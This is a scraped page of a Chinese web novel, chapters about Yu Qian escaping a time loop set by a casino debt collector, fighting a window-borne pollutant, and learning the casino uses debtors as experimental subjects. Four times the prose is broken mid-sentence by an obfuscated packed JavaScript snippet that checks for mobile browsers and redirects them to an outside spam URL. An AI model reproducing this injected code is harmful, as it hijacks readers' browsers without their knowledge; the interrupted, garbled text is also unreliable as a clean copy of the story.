游迁弹了两下通讯器虚拟屏，发出的消息停止转动，跳出发送失败的弹窗。 几乎是同时，她的右手手腕震动。 出于资金和隐私方面的顾虑，游迁买的是普通款式，没有外置表盘。就算来了消息，通讯器表带也不会震动。 而且，通讯器似乎变得更重了…… 衣袖被猛地扯开，她的猜想被证实。 手腕上，通讯器黑色表带之上，多出抹醒目的红。深红藤蔓镣铐般锁在她手上，尖刺紧贴皮肤，差一点就要划破皮肉。 藤蔓上半段缠绕成圈，中间是悬浮的字体。 【倒计时：20分钟】 游迁轻拽藤蔓， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17515371|203162||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 盘踞于腕间的藤蔓活过来，尖刺长长，没入皮肤浅层，留下凹凸不平的白痕。 如果她再用力，尖刺就会刺入血管。 用刀具切割藤蔓，藤蔓纹丝不动。 倒计时在不断减少，游迁看向身侧的窗户，脏污的窗内倒映出她浅淡的身影。 “系统，这次没有支线任务吗？” 【未检测到支线任务，请宿主继续努力】 “有检测到污染物吗？” 【系统运作需要能量，宿主已度过新手保护期。出于节能需要，在与“大老板”及其衍生系列任务无关的内容上，还请宿主自行努力】 “你用的是什么能量？” 【您以后会知道，顺利的话，这种能量会越来越……】 沙沙声从耳畔传来，系统女声埋没于电流之下。 系统的帮助有选择性，这件事在游迁刚来这个世界就隐隐猜到了。 游迁不知道这个所谓的大老板系统绑定她是为了什么，但目前，它还是很有用的。 她孑然一身，必须利用任务奖励里的异能和污染物品，尽可能快地往上爬，有了足够的能量，才能接的住真相。 游迁注视窗内的自己。 窗内的倒影好像比刚刚更近了些。 * 屋内，齐三喜挂着浓重的黑眼圈，打着哈欠，透过窗户，观察游迁的举动。 赌场老板一周前给了她名单，上面都是欠钱不还的赌鬼，齐三喜要做的，就是吓唬这帮赌鬼，尽可能合法地把钱要回来。 “总算给我逮到这家伙了，也不知道人躲哪去了，滑不溜秋的，跟个泥鳅似的。” 一周过去，名单上该要的债都要回来了，就剩这个名叫游迁的赌鬼。 看资料，这赌鬼以前还是个小老板。 真搞不懂这帮有钱还去赌的人，好好的生活不过，非得去沾点不良嗜好。 为骰子上小小的点数大吼大叫的是她们，被追债到涕泪横飞的也是她们。 齐三喜不讨债的时候会去赌场管理秩序，她这人没什么远大志向，觉得人过得舒坦就行。 等去到赌场才发现，人对金钱的渴望竟然能这么大，大到足以将其本身吞没。 感慨归感慨，不能真没有这帮赌鬼，不然她齐三喜饭碗不保。 这个赌鬼再能跑，说到底也不过是个普通人。 没有她这个异能者的允许，别想离开这。 齐三喜看着这个臭欠债的忙里忙外，这家伙又是捉蚂蚁，又是扯藤蔓，扯完还不够，现在又迈着长腿往前跑。 真是会做无用功。 有这个时间和体力还不如多打几份工，只要戒赌，还是有可能还完债的。 她就做一回好人，早点从这个赌鬼手里要到钱，这家伙也好早点去打工还债。 屋内光线逐渐暗淡，齐三喜仰头望天，暗骂这鬼天气，真是一日不如一日。 窗面反照出她烦躁的模样，齐三喜借机捯饬她凌乱的毛发，这几天东奔西走，她忙得好几天忘梳头了。 游迁又跑完一个循环，正巧齐三喜梳到打结的头发，扯到头皮。 “啧，蠢货，跑了这么久还没发现是循环吗？” 眼不见心不烦，齐三喜背过身，五指摊开，把指尖的碎发甩到地上。 窗面上的她却没有转身。 灰尘抖动，身影清晰，勾画出人的身影，凝聚出有一个灰扑扑的“齐三喜”。眼睛是白点，嘴角是一弯新月，上提到颧骨。 笑得很开心。 7. 窄巷（二） “四十七，四十八……” 窄巷内，游迁快步奔跑，余光留意窗棱。 “……五十八，五十九，六十。” 默数到第六十下，场景重复，旧一轮循环结束，新一轮循环开始。 游迁扭头，窗内没有她的身影。 “一，二，三……” 数到八，混浊的窗内徒然浮现一片黑，巨网般占据大半边窗子，要后退到另一面墙，才能看出人形。 她继续往前，留意窗内黑影。 等踏出两步后，黑影才出现在游迁现在所站的那扇窗内。 正常向前走是延迟两秒，而结束循环却要八秒。 如果这个情况不变，只要她不断地往前跑，黑影就追不上她。 循环困住人，目前来看不会对人造成实质性伤害，只是让人无法离开。 黑影就难说了，谁知道黑影填满整扇窗时，究竟会发生什么。 但有一点，让游迁感到奇怪。 循环的存在会让黑影移动延迟。 这听起来就像拖后腿的同事，帮对面的猪队友。 游迁昨天恶补过污染物和领域方面的知识，领域内的规则和低阶污染物都是为了加深污染而存在的，正常不会出现这种搬起石头砸自己脚的情况。 这里存在两股不同的力量？ 叮咚—— 【倒计时：15分钟】 【温馨提示：在时限内，完成六百六十六次循环，即可成功逃脱】 屏幕最下方还有芝麻大小的字： 【寸金可买寸光阴，支付5联邦币，即可兑换1秒】 这种恶趣味的任务设置，怎么看着有些眼熟。 “系统，这种……有品位的任务设置，你有没有什么头绪？” 大老板系统要节约能源，没有理会游迁，游迁在心底暗骂流氓软件、垃圾病毒，把手背到身后，不去管上面的索款信息。 【你会付出代价的！】 在游迁看不到的地方，腕表呈现出血淋淋的恐吓信息。 * 屋内，齐三喜烦躁地把碎发薅至脑后，整个脑袋海藻般炸开。 “我不想加班啊，这家伙就不能早点还钱吗？再穷几块钱也能挤出来吧。” 齐三喜笃定游迁早晚会还上一部分钱，她在意的只是游迁什么时候还。 至于游迁发现这是个骗局，最终拒绝还款，齐三喜根本没想过这种可能，她在赌场工作了三年，通过异能，成功从上百名赌鬼手里拿到了赌债。 死不还债、阴险狡诈的……齐三喜什么人没见过，只要把握住赌鬼们的通性，总能从这帮家伙的牙缝里抠点钱出来。 赌鬼们，特别是赌到倾家荡产的赌徒，总是对自己抱有莫名的自信。 只要设计出合适的场景，让赌徒自以为勘破所有的陷阱，赌鬼们就会自以为是地还上债，有的人还会为自己发现生路而沾沾自喜。 游迁迟迟不上钩，齐三喜决定亲自动手，给游迁制造点危机意识。 齐三喜握上落灰的门把手： “怎么打不开？” 她用力拧拽，灰尘从门上落到齐三喜的肩上，再被她吸入鼻孔。 “咳咳，这破门不会坏了吧。” 光线更加微弱，齐三喜手在黑暗中抓摸，妄图找到灯的开关。 啪。 屋内骤亮，许久不用的灯冒出杂音，灯丝灼烧着，像是多肢昆虫在扇动翅膀。 异能者的第六感令齐三喜下意识回头，屋内如她来时那般空荡，材质特殊的窗纸糊在玻璃上，右下方边角翘起。 “哎，这什么质量，好歹是花了八十联邦币买的。” 齐三喜嘀咕着，靠近窗户。 窗纸是特制的，作用类似于单向玻璃，齐三喜是通过赌场采购的，放黑市上买，可不止这个价。 齐三喜捏住窗纸一角，比划方位，眼前忽地一黑。 灯灭了。 手心变得湿漉漉的，齐三喜眯起眼，艰难地在黑暗中辨别。 有人牵住她的手，将五指往她的掌心里塞。 见鬼。 齐三喜被吓一跳，往后踉跄几步，才发现是看错了。 昏暗中，齐三喜看到自己的手被窗纸划破，多出道血淋淋的口子。 真倒霉。 齐三喜长呼出气，头凑过去，用袖子擦掉窗纸上的血迹。 这东西可是花了她钱的，绝对不能因为这点小污渍报废掉。 “怎么擦不掉。” 齐三喜把头凑得更近，整个人几乎要扑到窗户上，她用力地来回擦拭窗纸。 用力过度，窗纸开始变形凸起，人形的褶皱向右下方偏移。 灯已熄灭，昆虫扑闪翅膀的声响依旧存在于房间内的某个角落，若隐若现。 脏污无法擦去，甚至因为齐三喜用力过度，她的伤口再度崩开，新的液体滴落，将那抹暗红晕染得更大。 其实，她平时不是容易有情绪波动的人，但今天不知道为什么，齐三喜格外烦躁，不希望看到任何损失。 “人能承受的损失是有限度的。” 齐三喜突然回想起赌场老板跟她说过的那句话，回想起那个大雨天。 赌场老板红棕的卷发被松散扎起，斜披在肩。 她的手松软地搭在齐三喜的肩上，语气柔和，手中的伞不偏不倚。只是齐三喜的肩膀比别人宽，伞没遮住全部，雨水顺着伞面滑落，浸湿了齐三喜右肩的衣料。 “赌场能承受的损失有限度，人体能承受的损失也有限度。当损失达到阈值，会有意想不到的事情发生。” 赌场老板注意到齐三喜湿漉漉的肩膀，将黑伞□□。 惨叫声从被伞面遮住的地方传来，齐三喜头低低地垂落，针筒顺着斜坡滚来，停到齐三喜的鞋前。 针筒内还留有半管蓝绿药剂，齐三喜瑟缩着后退，出了伞，被大雨浇了满头。 齐三喜看到了那个欠钱不还的倒霉鬼的模样，他倒在水洼里，双眼紧闭，陷入深沉的梦境。 黑色粘液从他的毛孔中流出，他身下的水洼变得漆黑。 “可惜，我们的实验没有达到成功阈值，还需要更多的样本。” 赌场老板呢喃着，目光一点一点偏移，最终落在齐三喜身上。 “还需要更多的实验体。” 和齐三喜记忆里不同的是，老板笑着捡起地上的针筒，将药液推入了齐三喜体内。 齐三喜大叫着，恐惧让齐三喜回到现实，也让她看清了窗纸上“污渍”的全貌。 那根本不是污渍，那是……！

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17515372|203162||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 人形褶皱凸出纸面，咬上齐三喜的头颅。 * 窄巷内，游迁停下脚步。 黑影不见了。 手腕上的倒计时在继续，循环也还在，窗面上的黑影却不见了。 就像是……两股不同的力量打了起来，黑影无暇顾及她这边。 游迁说不出这件事是好是坏，但既然发生了，她就得作出行动，不能坐以待毙。 先前黑影在，游迁不敢贸然打碎玻璃，但现在，她打算尝试一番。 道路被首尾相连，既然向前向后都无法逃离，那就上下左右再试试。 游迁暂时没有徒手爬六楼和十五分钟挖出一条地道的能力，只能从居民楼的窗户入手。她挑选了一扇中间的窗户，站那里视野最好，可以看到巷口巷尾。 没有推开窗户，游迁握紧匕首，快速刺向玻璃。 几次后，玻璃碎裂，游迁贴着墙面，透过裂缝观察屋内的场景。 屋子里没有开灯，也没有摆家具，又黑又空荡。 匕首碰掉残余的玻璃，幽风从洞口灌入，游迁把玻璃渣踢到一旁，贴墙等候。 两分钟后，她踮起脚，双手撑在台面上，无声潜入房内。 在墙角站定，游迁借着屋外的光，重新打量起这里。 灰尘多，地上隐约有人的脚印。脚印从窗户蔓延到门口，门把手中段蹭亮，末尾和前段落灰。 门旁是开关，上面留有指印。 屋里来过别人，看鞋码应该是一个人。 这个人留下的大部分痕迹都很干净，脚印之间的间隙也小，她/他可能不急着逃命。 就像不同的人单独进入小区，业主会从容自然，陌生访客则会东张西望。从脚印看，这个人处于一种闲庭信步的状态，心态较为放松。 而从房间的整洁程度和物品摆放情况看，她/他似乎不住在这。 是什么让这个人那么放松？ 是因为这个人没被卷入循环，还是因为这个人有自信逃出循环，有自信对付那诡谲的黑影？ 她/他现在为什么消失了？ 游迁靠近房门，扭拧门把手，没能拧开，她停下仔细打量房门。 房门没有锁，正常情况下，这种不带锁的门打不开是因为天气过冷或过热，门变形卡在门框内，无法推动。 但这里怎么都和正常情况不沾边，反倒和上次被困领域的场景一样。 已知除非击杀领域域主，否则无法从领域内离开。 房间内的人不会是域主，从门板上的痕迹和房间内的脚印看，她/他尝试过开门，但并没有打开。 这个人对自己受困并不知情。 而她/他又出于某种原因，折返至窗边，到了那里，脚步变得凌乱，窗户又正好是黑影原本所在的地方。 游迁猜测，这个人出于索取钱财的目的，用循环困住了她，通过荆棘腕表，诱骗逼迫她交出钱财。 很不错的计划，只可惜出了意外。 这个人没想到小巷内有污染物，不慎被黑影攻击。 也就是说，这两个不速之客，都尚未离开。 它们会藏在哪？ 游迁缓慢抬起头。 微弱的光线一点一点地挪移，低矮的房顶被映照。 重物砸下！ 8. 窄巷（三） 身体先游迁一步作出决断，她向左翻滚，就在肩膀翻至空中的同时，地板碎裂，木刺飞溅。 脑浆还在晃动，游迁便对飞扑而下的攻击者发动异能。 【异能发动失败】 系统发出尖锐刺耳的提示音，游迁在心底“靠”了一声，攻击者又嘶吼着扑来。 看清攻击者的全貌，游迁立马反应过来，异能发动失败的原因和这名攻击者一起，子弹般弹射向她。 老天奶，她是保安下岗，又不是特种兵兵王！来这里的时候只说要当老板，没说要躲子弹啊！ 不出意外的，游迁右臂“中弹”，攻击者周身裹着层锋利的“黑线”，“黑线”割破血管，整条胳膊都在流血。 难怪异能发动失败，她眼前这个鬼东西，怕不是污染物和异能者的结合体，已经超出了她异能使用的范围。 齐三喜的脑袋露在外面，目光呆滞。脖子往下，她裸露在外的皮肤被染为深黑，黑影在皮肤上开疆拓土，似乎再和这名异能者争夺身体的控制权。 这为游迁带来了两秒的活动时间，她紧紧抓着匕首，直捅向“齐三喜”的心脏。 “齐三喜”猛地后腿，刀刃被避开，在“齐三喜”前胸留下长长的划痕。 游迁短呼出半口气，这一击虽然没能杀死这个怪物，却证实了用匕首攻击是有用的。 面前这个怪物在身体素质方面，远不及面馆里的店员污染物。 要是能控制住怪物，降低怪物的行动速度…… 游迁眯眼，贼心不死地继续使用异能。 控制整个身体不行，那控制身体的一部分呢？ 【异能发动失败】 【异能发动失败】 …… 灰尘被震到空中，游迁上蹿下跳地逃命，吃了满嘴灰。 她先对怪物的双腿发动异能，之后又对异能者的脑袋发动异能，但无一例外都失败了。 再试最后一次。 游迁歪歪扭扭地起身，直视“齐三喜”的双眼，里面映照出游迁狼狈的模样，让人感到陌生。 某个念头在脑中一闪而过。 【异能发动失败】 转眼，“齐三喜”袭至游迁面前，后者猴一样往天上蹿，单手扯住天花板上的圆灯。 灯罩发出“吱呀”的惨叫，游迁顺势把灯罩拍向“齐三喜”，她极为用力，灯罩中心被顶出个大洞，“齐三喜”的脑袋从洞里长出。 “齐三喜”攀咬住游迁的腿，游迁下身一扭，双腿呈剪刀状，死死锁住怪物的脖颈。 一时间，黑影潮水般上涨，“齐三喜”脖子周围长出细小的尖刺，没入游迁的小腿。 “靠！” 游迁痛呼出声，一把扯下残留的灯具线，火花顺着线，噼里啪啦的炸起。 灯具线末尾还闪着火花，被游迁抽来，扼在“齐三喜”脖子上，游迁收腿，踉跄落地，双手发力，带伤的那条胳膊滋滋冒血。 游迁紧紧勒住“齐三喜”的命脉，死里逃生，她心跳得厉害，咬住下唇，迫使自己从兴奋的状态脱离，偏头去看“齐三喜”的脸。 沾着血沫子的黑发遮住视线，游迁轻啧出声，鼻尖挑去这碍眼的遮挡物，直直对上那双眼睛。 从进入窄巷时，黑影便藏在窗户中。 这鬼东西攻击性高得吓人，不学人类先礼后兵那一套，有机会肯定会立马跑出来咬人。 在游迁刚进窄巷时，黑影没有攻击她，是因为做不到。在没有载体的情况下，它只能通过窗户这类能倒映出的物品移动，以此追捕猎物。 现在，载体即将损坏，它会怎么做，简直不要太好猜。 棕褐色的瞳孔里长出新的“游迁”，它笑了，嘴角咧开到颧骨。 “别学了，我没那么爱笑。” 污染物放大了游迁的情绪，她心头燃起一阵无名火，掐线的力道又大了几分，“齐三喜”被勒得头颅后仰，它脸倒转，乌黑的瞳孔瞄准游迁。 浓墨从右眼眼眶中渗出，内里的黑影蠢蠢欲动。 现在松手，载体就会恢复行动能力，游迁没抽出手，她张开嘴，咬上怪物的右眼。 杀猪般的尖嚎从游迁的嘴中发出，“齐三喜”撕心裂肺地叫喊，躯体触电般抽搐，黑影挤出这副躯体，在游迁嘴中四处乱撞。 在黑影钻入她的喉咙前，游迁使用异能。 异能如果施展成功，异能者者可以感知到。而此刻，游迁的大脑接收到异能使用成功的喜讯，于此同时，她口腔中的黑影也被禁锢，只有翅膀一样的东西，在她口中轻微振动。 游迁张嘴，把黑影吐出。 见到黑影污染物的本貌，游迁干呕出声，险些把昨天喝的营养液吐了出来。 木制地板上，躺着只肥硕的带翅蚂蚁，和窄巷内的黑翅土蚂蚁外形极为相似。 污染物的翅膀还在弹动，想到这玩意儿在她嘴里待过，游迁就犯恶心，赶忙抬脚，重重踩下。 异能中断，污染物死亡，游迁拿出通讯器，通讯器内的拍摄功能不用网络也可以使用，她对准地板上扁扁的虫类污染物，拍下了它的遗照。 处理好污染物，接下来就是那个异能者了。 游迁蹲下/身，手指放于那名异能者鼻前，眼睛漫不经心地垂落，观察异能者的胸口。 还有呼吸，胸口也在微微起伏。 游迁满意地点点头，把异能者脖子上的灯具线松了松，一只手抓住线的两端，以防异能者诈尸偷袭。 “喂，醒了吗？” 游迁踢了踢这名异能者，后者无甚反应，游迁拿通讯器尝试拨号。 异能者昏迷并不必然导致异能失效，部分高阶异能甚至会在异能者死亡后，继续生效。 幸运的是，这名异能者并不属于高阶异能者，在污染物离开她的躯体后，她便陷入昏迷，循环异能也随之解除。 游迁拨给了管理局的赵曼之，通讯很快被接通。 “赵姐，我又遇上污染物了，在矿区87号街这边，污染物设立了小型领域。领域内还有个异能者，被污染物控制了，我和她都受了伤。” 通讯器另一头的赵曼之被噎住，也是没想到有人会那么倒霉，三天能进两次领域。 不过现在是矿洞活跃期，少部分矿洞浅层的污染物出现在地面，倒也说得过去。管理局这周就处理了六起污染物袭击民众的案件。 算上87号街这次，共计七起。 赵曼之从巡逻车车篓中抽出保温杯，喝了口里头的咖啡顺气。 “管理局的人马上来，你先留在原地，确保自身和另一名异能者的安全，有异常状况及时和我联系。” “那我在矿洞那边的工作怎么处理？” “这几天我先找人顶上，你的工资照发，破除领域的奖金明细之后再说，不会少了你的。” “好叻。” 游迁见好就收，她龇着个大牙，挂断通讯，空着的手在齐三喜身上摸索。 循环解除，黑影污染物死亡，她手上的那个倒计时荆棘腕表却还在。 此时，倒计时已经清零，游迁并没有付出所谓的代价，倒是给她戴上腕表的家伙自食恶果，现在倒在地上，不省人事。 荆棘腕表留身上终究是个隐患，要把腕表取下来。 游迁把齐三喜上上下下翻了个遍，通讯器也看了，没找到什么能用的。 有什么东西，是这个异能者可以随身携带，并且较为隐蔽，通常人想不到的？ 游迁聚精会神地盯着荆棘腕表，快盯成了斗鸡眼，她的目光从腕表中央红色的字体往四周挪移，停在尖刺上。 游迁用指腹戳戳刺根，随便在齐三喜身上找了处伤口，揩了点血涂抹到荆棘腕表上。 沾到血的瞬间，荆棘的尖刺开始软化，整个藤蔓发黄枯萎，最终脱落，掉到地上。 游迁用衣袖垫着，把枯萎的荆棘腕表捡起。 “放过我……” 游迁火速把腕表揣到兜里。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17515373|203162||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“不要选我做实验体，放过我！放过我！” 齐三喜表情狰狞，像是被噩梦魇住。 游迁双眼瞪大像铜铃。 什么实验体？这人想把她绑去做实验体？ 【检测到主$&线#*%进度更新至1%】 看到乱码的主线任务，游迁第一反应是系统喝假酒了。 【主$&线#*% 任务介绍：揭发商业竞争对手的秘密（具体信息有待解锁） 任务限期：3年 任务奖励：S级异能】 S级异能作为任务奖励，系统这假酒喝得好啊。 游迁望向齐三喜的目光都柔和了不少。 于是，齐三喜苏醒时，就看到一个浑身是血、披头散发的女人死死盯着自己，嘴角还挂着诡异的微笑。 齐三喜两脚一蹬，闭上眼装死。 “醒醒，我看见你睁眼了。”游迁扒开齐三喜的眼皮，“讨债的，你快把循环解除。” 循环？讨债？ 齐三喜脑袋嗡嗡响，她石膏像一样静止了两秒，才反应过来现在的状况。 哦对对对，她是来找这个人讨债的，结果被不知道哪来的污染物袭击了，右眼疼得厉害，对了她是叫齐三喜来着。 齐三喜努力回忆被污染物袭击之后的事，可惜脑袋像是被石头咋了一样，疼得厉害。 好在，讨债的肌肉记忆让她下意识板起脸，嘴巴自己动起来：“你都没还钱，解除什么循环？” 果然是来讨债的。 游迁眼珠子滴溜转，通讯器都能发消息了，这人的异能应该老早就解除了。 不解除也没事，管理局马上到。 游迁扮出凶恶相，冷哼出声：“恩将仇报，你被污染物控制住了，我救了你，你居然还找我要钱。” 啊，谁救了我？ 齐三喜脑子转不动，表现在脸上，就是懵得一脸傻相。 游迁乘胜追击，她揪住齐三喜的衣领，手背青筋暴起：“清掉我的债务，再给我三十万，不然别想离开。” 齐三喜遭受重击的脑子总算转过了弯：“你一个没有异能的普通人怎么可能打得过污染物。搞诈骗也得有个度！” 看来赌场暂时还不知道她有异能的事。 游迁揭过话题：“谁打死了那个污染物不重要，重要的是，你命现在在我手里。” 齐三喜顺着游迁的话，艰难地低头，看到缠在自己脖子上的灯具线，以及线下方的青青紫紫，心凉了半截。 “你这么做，赌场不会放过你的！” 游迁死猪不怕开水烫，拧眉道：“你们还能放过我？都用这种奇怪的异能来逼我还钱了，情况不能更糟了。” “不一样，必须尽快还款，就算没钱也要拿出一点表明态度，否则……”齐三喜突然剧烈地咳呛，嘴角流出丝乌血。 “总之，你有钱就赶紧还，赌场折磨人的手段多的是。” 齐三喜面色发白地劝道。 游迁目光落在齐三喜嘴角，那抹血实在晃眼，她没让齐三喜轻松揭开话题，而是继续问道：“否则会怎么样？” 齐三喜又咳呛了几声：“具体细节我不能说。” 游迁怀疑赌场用了某些手段，叫齐三喜无法说出真相。顺着已知信息，游迁拼凑出一个猜测：“你们赌场出于某种目的，把还不上钱的人带走，作为实验体。” “会是什么目的呢？人体改造？试药？研究新生物？” 游迁一边观察齐三喜的表情，一边报出电影里黑心科学家会干的事。 说到试药时，齐三喜眉眼抽动，同时，系统任务进度也上涨至3%。 “别说了！” 齐三喜扑上前，面色惊恐，抬手要捂住游迁的嘴。 游迁歪头躲过，抓住齐三喜的手腕，齐三喜像案板上的活鱼，蹦哒着想要挣脱。 场面混乱之际，房门被“砰”地拍到了墙面。 “停手，管理局巡查！” 9. 窄巷（四） 今天是吴瑰复工第一天。 她看向面前扭打作成团的两人，依稀记起管理局收到的讯息是出现污染领域，脑中空白一瞬，而后把求助的目光投向带教。 带教赵曼之：…… “停手，再打按照寻衅滋事论处，拘役十天，并处罚款三百联邦币。” 听到要被罚钱，橡皮糖一样打得难舍难分的两人，顷刻间分开。 赵曼之简单问过情况，就叫人把游迁和齐三喜带到外头停靠的医疗车内，简单处理伤口，自己留在这勘验现场。 管理局医疗车内部构造和救护车类似，只是医疗车内的设备更为先进。 浑身是血、快成糖葫芦的齐三喜一躺到转运床上，床两边就冒出六只机械手，对齐三喜进行扫描，初步诊断，然后消毒、上药、包扎、挂水。 十分钟后，齐三喜喜提木乃伊时装。 新鲜出土的木乃伊被请到一边，紧接着，捏着扫描仪、镊子、纱布、剪刀和药膏机械手们齐齐转身，没拿东西的那只机械手冲游迁挥手，作出“请”的动作。 游迁踢了脚自己僵直的右腿，忍住后退的冲动，忐忑地躺到转运床上。 【您好，智能助手艾尔竭诚为您服务】 中性机械声在耳边响起，游迁下意识扭头去找声音的来源，就被机械手摁住脖颈，提起衣袖，治疗受伤的右臂。 游迁受的伤比齐三喜轻，过了五分钟，机械手就完成了治疗，还贴心地用右手的绷带系了蝴蝶结。接着，游迁就被打包，送到另一端的座椅上，和对面的齐三喜大眼瞪小眼。 齐三喜冲游迁翻白眼，奈何齐三喜脸上的绷带缠得过于严实，游迁没看到她的挑衅，自顾自地跳下车，去找赵曼之讨论事情。 城市建设开发管理局的效率很高，才一会儿，87号街就拉上了警戒线，游迁刚待过的那间旧屋更是用警戒线里里外外围住，门口和窗口都立起亮黄警示牌。 “赵姐，我有事想找你商量。” 赵曼之没计较有套近乎之疑的称谓，让吴瑰放人进来。 得到赵曼之的许可后，守在门口的吴瑰递给游迁一副鞋套，游迁穿上，抬腿跨过门口的警戒线。 管理局要勘验现场，游迁开门见山道：“可以不向刚才那个人透露我有异能的事情吗？” 赵曼之关掉耳麦：“可以，异能信息属于异能者的隐私，可以选择不公开。但你也知道，这种事瞒不了多久。” “谢了，能瞒一会儿是一会儿。” 游迁在兜里掏掏，取出那个枯萎的荆棘腕表：“这东西你知道怎么用吗？” 赵曼之扫了眼，眉尾微抬：“你惹到云山赌场了？” 云山赌场，原主欠下赌场的地方。 游迁沉痛地点头：“欠了那边亿点点钱。” “怪不得。” 赵曼之接过荆棘腕表，拿恒温器模样的探测仪扫描，探测仪显示出的数据一切正常。 “这是云山赌场用来追债的污染物品‘惊吓倒计时’的一部分，物如其名，除了吓人没别的用。” “这东西戴上后要特定人的血才能解开。这只被解开过，失去活性，不能再用了。” 游迁把蔫巴的荆棘腕表重新塞回兜里：“赌场用污染物品追债，不违法吗？” “‘惊吓倒计时’不会对人体造成不可逆伤害，佩戴者最多流点血，它的存在在管理局的容忍范围内。” 在满是灰尘的屋里待久了，两人的衣服都变得灰扑扑的。游迁揣摩着赵曼之的这番话，一时拿不准管理局对云山赌场持哪种态度，对赌场找人试药这件事，又知道多少。 “还有其她事吗？没有先回车上休息，等会儿还要去管理局观察污染度情况。” 离开领域都要隔离观察，游迁上次就在管理局的隔离观察室内睡了三天。 除了人身自由被限制，游迁对管理局的隔离观察室非常满意，包吃包住，娱乐设施丰富，更重要的是，不收她钱。 她躺在松软的大床上，嘴里嘬着哈密瓜味的营养液，查看通讯器内的新消息。 有条好友申请，申请框内显示：“我是上次一起下矿的季开心，谢谢你救了我。我找赵队长要了你的通讯编号，可以通过一下吗～” 是上次下矿，说要考大学的那个女生。 游迁点击通过，她还在修改好友备注，季开心就发来了消息。 上岸上岸：游迁姐！ 上岸上岸：上次谢谢你救了我[星星眼] 上岸上岸：[链接] 上岸上岸：这是上次我跟你说的污染物有关书单，大部分书在联邦电子图书馆都能搜到，少部分要去线下找。 上岸上岸：都是联邦大学污染物研究专业的推荐书目，姐你要是时间紧看前面两本就行。 游迁点开链接，滑到底，书号排到了一百七十八。 她都有点晕字了。 脱贫致富：谢了，祝你成功上岸。 上岸上岸：[害羞][比心] 上岸上岸：希望一把上岸，进入污染物研究专业（当然了，要是觉醒异能进入联邦大学异能者学院，我也是愿意的） 上岸上岸：[咬手指][开始做白日梦] 这孩子，线上线下反差这么大吗…… 游迁对异能者学院起了兴趣，结束聊天后，她检索起联邦大学异能者学院的有关信息。 联邦大学异能者学院，仅招收异能者，修满学分即可毕业。学生可申请低息助学贷款，B级以上的高阶异能者免征学费。 官网是正儿八经的学校介绍，从强悍的师资到先进的教学设施，再到十分能打的就业数据和毕业薪资待遇，联邦大学异能者学院都处于顶尖水准。 但上班多年的经验告诉游迁，官网的话只能信一半。 她在视频网站搜索由联邦大学异能者学院学生发布的校庆视频，直奔评论区。 亲爱的联邦币：异能者学院还是一如既往地豪横。 无双：瞧瞧瞧瞧，这一室一厅一卫的单人宿舍，这酷炫的院服，电子信息学院的我流下了羡慕的泪水。 已变异勿扰：对对对，就这么宣传我们异能者学院[墨镜][墨镜] 已变异勿扰：异能者学院吃住一流，欢迎学妹学弟们报考～那位无双同学，如果觉醒了异能也欢迎来我们学院[坏笑][坏笑] 无双：婉拒了哈，我想早点毕业。 已变异勿扰：想早点毕业也欢迎，理论上来说，在异能者学院，你甚至可以一年就毕业[狗头] 无双：你这话也就骗骗新生，顺带一提，你今年打算毕业吗？ 已变异勿扰：…… 已变异勿扰：小嘴巴，闭起来[捏嘴] 已变异勿扰：我会毕业的[保住院长的大腿][疯狂打滚][被拒绝][暴风式哭泣][被院长丢进垃圾桶][在垃圾堆里发疯][开始变异] 游迁被已变异勿扰的文字吵到眼睛，被迫放下手机。 从评论区可以看出，联邦大学异能者学院各方面待遇都很好，就是毕业方面…… 嗯，有些困难。 发呆的时候，吴瑰正好进来检查，游迁顺势问了些异能者学院的问题。 “联邦大学异能者学院？我确实在那边读书，现在在管理局也是为了完成学院要求的实习项目。” 城市建设开发管理局隔离室有配套的污染度测量设施，但为了防止仪器故障，管理局还会定期派人检查，确保被隔离者污染度判定正确。 吴瑰用污染度测量仪对准游迁的额头。 “污染值5.2，已经趋于正常水准了。你恢复得可真快。”吴瑰发自内心地感慨，尽管她异能等级不高，代谢污染的速度在整个学院却算上游水准。 但她几天前和游迁经历了同一个领域，她的污染程度是轻度污染，游迁是中度污染，后者却比她早两天将污染清零。这还是没经过系统性训练的结果。 联邦曾统计过，异能者在抵御污染方面普遍优于正常人，在代谢污染的速度方面却会受到多种因素的影响。性格、成长环境、异能种类和进污染领域的次数……这些都会对异能者代谢污染的速度造成影响。 “你进了两次领域，都能全身而退。要是进异能者学院，毕业后肯定能进管理局！” “我异能只有D级，管理局也要？” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 